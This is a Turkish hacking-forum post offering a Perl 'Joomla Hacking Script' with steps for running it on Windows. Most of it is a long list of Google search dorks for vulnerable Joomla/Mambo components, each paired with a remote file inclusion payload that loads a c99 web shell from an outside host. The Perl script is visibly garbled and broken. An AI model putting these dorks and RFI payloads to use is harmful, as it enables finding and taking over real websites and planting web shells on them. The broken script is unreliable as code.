Joomla acık tarayıcı Perl

İlk olarak bilgisayarında perl kuru olmayanlar hemen perl indiriyo sonra bu exploit i kopyayalıp not defterıne de farklı kaydet yapıyo uzantısını .pl olarak kaydettikten sonra C:\Perl\bin klasorunun içine adıyor.

Bu arada Joomla acıklarının bulundugu bi .txt dosyası hazırlamayı unutmayın !

Dosyayı hazırladıktan sonra exploitleri attıgınız .txt’nin adı olarak adresı buraya yapiştırın bin klasörüne attıktan sonra ;


Baslat\Çalıştır\cmd (Enter)
cd.. (Enter)
cd.. (Enter)
cd perl (Enter)
cd bin (Enter)
perl (exploit e verdiğiniz isim).pl (Enter)


Exploit :


#!/usr/bin/perl
#Joomla Hacking Script
#Editor by Syn
#www.cybergrup.org
use LWP::UserAgent;
use HTTP::Request;
system "clear";
print "\tEdit By Syn\n\n";
print "\tHack Joomla Script\n\n";
print "\tConnect : evilc0der\@live\.no\n\n";
print "\tpriv8 cybergrup\n\n";

print "örnek adresi giriniz\n\n";

$site=;

chomp($site);

if($site !~ /http:\/\//){

$site = "http://$site";
}

@bugs=(open file,'new(GET=>$victim);
my $ua = LWP::UserAgent->new();
my $an = $ua->request($w);

if ($an=~/([0-9a-z]{32})/){
print "Great!- Founded !\n";
print "Exploit is : \n$victim\n";

}
else{
print "Maalesef gülüm, Arama yapıldı ama bulunamadı.\n";

}
print $test ."\n\n\n";
th4nk cybergrup
}


Joomla Açikları – RFI

Derleyen Site : Megaturks.Net

============================================================

Google Araması:

inurl:”com_flyspray”

Site Sonuna:

/components/com_flyspray/startdown.php?file=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:

inurl:”com_admin”

Site Sonuna:

administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:

inurl:index.php?option=com_simpleboard

Site Sonuna:

/components/com_simpleboard/file_upload.php?sbp=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_hashcash”

Site Sonuna:

/components/com_hashcash/server.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_htmlarea3_xtd-c”

Code:

/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_sitemap”

Code:

/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_performs”

Site Sonuna:
components/com_performs/performs.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_forum”

Site Sonuna:
/components/com_forum/download.php?phpbb_root_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_pccookbook”

Site Sonuna:

components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:index.php?option=com_extcalendar

Site Sonuna:

/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”minibb”

Site Sonuna:
components/minibb/index.php?absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_smf”

Site Sonuna:
/components/com_smf/smf.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Site Sonuna2:
/modules/mod_calendar.php?absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_pollxt”

Site Sonuna:
/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_loudmounth”

Site Sonuna:
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_videodb”

Site Sonuna:
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=http ://megaturks.by.ru/c99.txt?

Google Araması:
inurl:index.php?option=com_pcchess

Site Sonuna:
/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_multibanners”

Site Sonuna:
/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=ht tp://megaturks.by.ru/c99.txt?

Google Araması:
inurl:”com_a6mambohelpdesk”

Site Sonuna:
/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http ://megaturks.by.ru/c99.txt?

Google Araması:
inurl:”com_colophon”

Site Sonuna:
/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_mgm”

Site Sonuna:
administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_mambatstaff”

Site Sonuna:
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_securityimages”

Site Sonuna:
/components/com_securityimages/configinsert.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Site Sonuna2:
/components/com_securityimages/lang.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_artlinks”

Site Sonuna:
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_galleria”

Site Sonuna:
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_akocomment”

Site Sonuna:
/akocomments.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_cropimage”

Site Sonuna:
administrator/components/com_cropimage/admin.
cropcanvas.php?cropimagedir=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_kochsuite”

Site Sonuna:
/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_comprofiler”

Site Sonuna:
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_zoom”

Site Sonuna:
/components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt
Site Sonuna2:
/components/com_zoom/includes/database.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:”com_serverstat”

Site Sonuna:
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=htt p://megaturks.by.ru/c99.txt?

Google Araması:
inurl:”com_fm”

Site Sonuna:
components/com_fm/fm.install.php?lm_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_mambelfish

Site Sonuna:
administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_lmo

Site Sonuna:
components/com_lmo/lmo.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_linkdirectory

Site Sonuna:
administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_mtree

Site Sonuna:
components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_pat h=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_jim

Site Sonuna:
administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_webring

Site Sonuna:
administrator/components/com_webring/admin.webring.docs.php?component_dir=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_remository

Site Sonuna:
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_babackup

Site Sonuna:
administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_lurm_constructor

Site Sonuna:
administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_mambowiki

Site Sonuna:
components/com_mambowiki/ MamboLogin.php?IP=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_a6mambocredits

Site Sonuna:
administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_phpshop

Site Sonuna:
administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=h ttp://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_cpg

Site Sonuna:
components/com_cpg/cpg.php?mosConfig_absolute_path=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_moodle

Site Sonuna:
components/com_moodle/moodle.php?mosConfig_absolute_path=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_extended_registration

Site Sonuna:
components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_p ath=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_mospray

Site Sonuna:
components/com_mospray/scripts/admin.php?basedir=http://www.megaturks.com/images/shell.txt?

Google Araması:
inurl:com_bayesiannaivefilter

Site Sonuna:
/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_uhp

Site Sonuna:
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_peoplebook

Site Sonuna:
/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_mmp

Site Sonuna:
/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_reporter

Site Sonuna:
/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_madeira

Site Sonuna:
/components/com_madeira/img.php?url=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_jd-wiki

Site Sonuna:
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=http://spaxftp.awardspace.com/shell/c99.txt

Google Araması:
inurl:com_bsq_sitestats

Site Sonuna:
/components/com_bsq_sitestats/external/rssfeed.php?baseDir=http://spaxftp.awardspace.com/shell/c99.txt
Site Sonuna2:
/com_bsq_sitestats/external/rssfeed.php?baseDir=http://megaturks.by.ru/c99.txt